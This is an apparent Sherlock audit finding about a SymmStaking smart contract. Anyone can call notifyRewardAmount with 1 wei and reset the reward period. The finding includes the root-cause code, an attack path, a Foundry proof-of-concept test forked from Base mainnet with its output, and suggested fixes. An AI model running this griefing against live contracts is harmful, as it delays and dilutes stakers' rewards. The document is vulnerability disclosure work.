Brief Tartan Bear

Medium

# Attacker can reset remaining reward duration to default duration by calling `SymmStaking::notifyRewardAmount` and providing dust amount as additional reward

### Summary

function `notifyRewardAmount` does not check who is calling the function and also does not check the amount added to the current reward. because of this, an attacker can call this function by providing 1 wei amount of reward token to reset the remaining duration to default duration, effectively makes the reward rate for staking flatten because of the added time duration.
the default duration is 1 week. if this called at 50% of total duration, then the remaining duration would reset again to 1 week after 0.5 week of user staking. even if this does not reduce the amount of each user reward would have, this attack would makes the duration longer and can be used for indefinite time as long as an attacker wants.

### Root Cause

if the function [`notifyRewardAmount`](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L275-L292) is called, the function would later add the amount specified in parameter into `_addRewardsForToken` function:
[SymmStaking.sol#L366-L379](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L366-L379)
```Solidity
	function _addRewardsForToken(address token, uint256 amount) internal {
		TokenRewardState storage state = rewardState[token];

		if (block.timestamp >= state.periodFinish) {
			state.rate = amount / state.duration;
		} else {
@>			uint256 remaining = state.periodFinish - block.timestamp;
@>			uint256 leftover = remaining * state.rate;
@>			state.rate = (amount + leftover) / state.duration;
		}

		state.lastUpdated = block.timestamp;
@>		state.periodFinish = block.timestamp + state.duration;
	}
```
if an attacker called the function in the middle of an active reward duration, the marked block would then executed.
this means that the attacker can give 1 wei `amount` of token reward as parameter and it would affect:
1. the rate of reward emission would decrease, because ` (amount + leftover) / state.duration` is divided by `state.duration` and that value is 1 week. see [SymmStaking.sol#L331](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L331)
2. the `state.periodFinish` is reset, marking current timestamp as the start, and the current timestamp + `state.duration` as the period finish. which is 1 week duration.

### Internal Pre-conditions

1. admin whitelisted token as reward token
2. admin set the reward token for staking by calling `notifyRewardAmount` with correct amount (let say 100e6 usdc)

### External Pre-conditions

1. victim stake 1000e18 symm token in hope to get the reward in one week

### Attack Path

1. after half week, an attacker call `notifyRewardAmount` by providing 1 wei amount of the token reward
2. duration reset to 1 week in the middle of original duration
3. victim call `claimRewards` in original end duration, but notice they dont get the expected amount
4. attacker call `notifyRewardAmount` by providing 1 wei amount of the token reward
5. one week after step 4 (or 2 week since victim stake), the victim then would get the full amount reward

### Impact

1. user reward are not received after 1 week duration.
2. because of no 1, user would lose the potential profit because the rate of reward is decreased. and user cant sell the supposed amount to market after 1 week.
3. if attacker call this in quick interval (example: every 1 days), then the duration would be exceptionally long, unincentivized user to use the stake function in protocol

### PoC

to add the test file, do the following:
1. in terminal and root directory, use `npm i --save-dev @nomicfoundation/hardhat-foundry`
2. Add `require("@nomicfoundation/hardhat-foundry");` to the top of your hardhat.config.ts file.
3. run `npx hardhat init-foundry` this would generate `foundry.toml` in the directory
4. add the following to bottom of `foundry.toml` with your own infura api key:
```toml
[rpc_endpoints]
base = "https://base-mainnet.infura.io/v3/your_api_key"
```
5. then in the `tests` folder, add the following file and name it `StakingPoC.t.sol`:
```Solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

import "../contracts/staking/SymmStaking.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "forge-std/Test.sol";

contract SymmStakingTest is Test {
    SymmStaking staking;

    address symm = 0x800822d361335b4d5F352Dac293cA4128b5B605f;
    address usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;

    address owner = makeAddr("owner");
    address victim = makeAddr("victim");
    address victim2 = makeAddr("victim2");
    address victim3 = makeAddr("victim3");
    address victim4 = makeAddr("victim4");
    address attacker = makeAddr("attacker");

    uint256 initialBalance = 1000e18;
    uint256 initialReward = 100e6;
    uint256 startTime = 10_000;
    uint256 duration;

	function setUp() public {
        vm.warp(startTime);
		SymmStaking impl = new SymmStaking();
		TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
			address(impl),
			address(owner),
			abi.encodeWithSelector(impl.initialize.selector, owner, symm)
		);
		staking = SymmStaking(address(proxy));

        duration = staking.DEFAULT_REWARDS_DURATION();
        
        // set initial symm balance for victim and attacker
		deal(symm, victim, initialBalance);
        deal(symm, victim2, initialBalance);
        deal(symm, victim3, initialBalance);
        deal(symm, victim4, initialBalance);
		deal(symm, attacker, initialBalance);

        // set initial usdc balance for owner
        deal(usdc, owner, initialReward);

        // set initial usdc balance for attacker
        deal(usdc, attacker, 10e6);
        
        vm.startPrank(owner);
        // whitelist usdc and symm for reward
        staking.configureRewardToken(usdc, true);
        staking.configureRewardToken(symm, true);
        // approve usdc for staking contract then notifyRewardAmount
        IERC20(usdc).approve(address(staking), initialReward);
        address[] memory tokens = new address[](1);
        tokens[0] = usdc;
        uint256[] memory rewards = new uint256[](1);
        rewards[0] = initialReward;
        staking.notifyRewardAmount(tokens, rewards);
        vm.stopPrank();
	}

    function test_PoC_callNotifyRewardAmountIncreaseDuration() public {
        // victim deposit token in hope of getting reward
        vm.startPrank(victim);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim);

        // fast forward 50% of the duration
        vm.warp(startTime + duration / 2);
        uint256 victimFirstReward = staking.earned(victim, usdc);
        uint256 balanceBefore = IERC20(usdc).balanceOf(victim);
        staking.claimRewards();
        uint256 balanceAfter = IERC20(usdc).balanceOf(victim);
        console.log("victim first half reward: ", victimFirstReward);
        assertEq(balanceAfter - balanceBefore, victimFirstReward);

        // attacker call notifyRewardAmount with small amount just to increase the duration
        vm.startPrank(attacker);
        IERC20(usdc).approve(address(staking), 1e6);
        address[] memory tokens = new address[](1);
        tokens[0] = usdc;
        uint256[] memory rewards = new uint256[](1);
        rewards[0] = 1; // 1 wei
        staking.notifyRewardAmount(tokens, rewards);
        vm.stopPrank();

        // fast forward to the end of the original duration
        vm.warp(startTime + duration);
        uint256 victimSecondReward = staking.earned(victim, usdc);
        balanceBefore = IERC20(usdc).balanceOf(victim);
        staking.claimRewards();
        balanceAfter = IERC20(usdc).balanceOf(victim);
        console.log("victim second half reward: ", victimSecondReward);

        // attacker grief again
        vm.startPrank(attacker);
        staking.notifyRewardAmount(tokens, rewards);
        vm.stopPrank();

        // fast forward to duration + 50% duration
        vm.warp(startTime + duration + duration / 2);

        // victim desperate to claim their reward
        vm.startPrank(victim);
        uint256 victimThirdReward = staking.earned(victim, usdc);
        balanceBefore = IERC20(usdc).balanceOf(victim);
        staking.claimRewards();
        balanceAfter = IERC20(usdc).balanceOf(victim);
        console.log("victim prolonged duration half reward: ", victimThirdReward);

        vm.warp(startTime + duration * 2);
        uint256 victimFourthReward = staking.earned(victim, usdc);
        balanceBefore = IERC20(usdc).balanceOf(victim);
        staking.claimRewards();
        balanceAfter = IERC20(usdc).balanceOf(victim);
        console.log("victim staking total duration became ", duration * 2, "which is 2 weeks");
        console.log("victim prolonged duration second half reward: ", victimFourthReward);
        console.log("total victim reward: ", IERC20(usdc).balanceOf(victim));
    }
```
6. then run `forge t --fork-url base --mt test_PoC_callNotifyRewardAmountIncreaseDuration -vv` showing that the victim would get the full reward in 2 weeks because of attacker exploit:

```bash
[PASS] test_PoC_callNotifyRewardAmountIncreaseDuration() (gas: 531828)
Logs:
  victim first half reward:  49896000
  victim second half reward:  24796000
  victim prolonged duration half reward:  37194000
  victim staking total duration became  1209600 which is 2 weeks
  victim prolonged duration second half reward:  12398000
  total victim reward:  99488000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.07s (1.51s CPU time)

Ran 1 test suite in 12.93s (11.07s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

I would suggest:
1. make the function `notifyRewardAmount` can be called by specified trusted operator only
2. or enforce a minimum `amount` reward in `notifyRewardAmount` (example: minimum added reward is 10000e18 symm, or 100e6 usdc) so anyone cannot use this to grief the protocol without paying anything substantial.